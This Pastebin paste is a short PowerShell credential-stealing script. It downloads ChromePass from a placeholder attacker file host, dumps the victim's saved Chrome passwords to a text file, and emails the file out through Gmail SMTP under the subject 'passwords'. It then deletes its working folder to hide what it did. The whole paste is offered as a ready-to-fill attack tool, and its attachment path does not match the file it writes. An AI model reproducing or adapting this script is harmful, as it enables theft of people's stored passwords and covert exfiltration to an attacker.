Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Downloads and runs the terminal version of ChromePass from your own filehost
- Start-Sleep 1
- cd /
- Start-Sleep -Milliseconds 500
- mkdir chrome
- Start-Sleep -Milliseconds 500
- cd chrome
- Start-Sleep -Milliseconds 500
- echo (wget '(YOUR FILE HOST)/ChromePass.exe' -OutFile pass.exe)
- Start-Sleep 1
- ./pass.exe /stext pass.txt
- Start-Sleep 1
- #Sends you an email with attachment of passwords using Google's SMTP server
- $Username = "YOUR GMAIL ADDRESS";
- $Password = "YOUR GMAIL PASSWORD";
- $path= "C:\chrome\maintenance.txt"
- $email = "$Username"
- function Send-ToEmail([string]$email, [string]$attachmentpath){
- $message = new-object Net.Mail.MailMessage;
- $message.From = "$Username";
- $message.To.Add($email);
- $message.Subject = "passwords";
- $message.Body = "here they are scrub";
- $attachment = New-Object Net.Mail.Attachment($attachmentpath);
- $message.Attachments.Add($attachment);
- $smtp = new-object Net.Mail.SmtpClient("smtp.gmail.com", "587");
- $smtp.EnableSSL = $true;
- $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
- $smtp.send($message);
- write-host "Mail Sent" ;
- $attachment.Dispose();
- }
- Send-ToEmail -email "RECIPIENT" -attachmentpath $path;
- #Just deletes every file involved and exits
- Start-Sleep 5
- cd c:\
- Start-Sleep -Milliseconds 400
- rmdir /s /q c:\chrome
- Start-Sleep -Milliseconds 400
- exit
Advertisement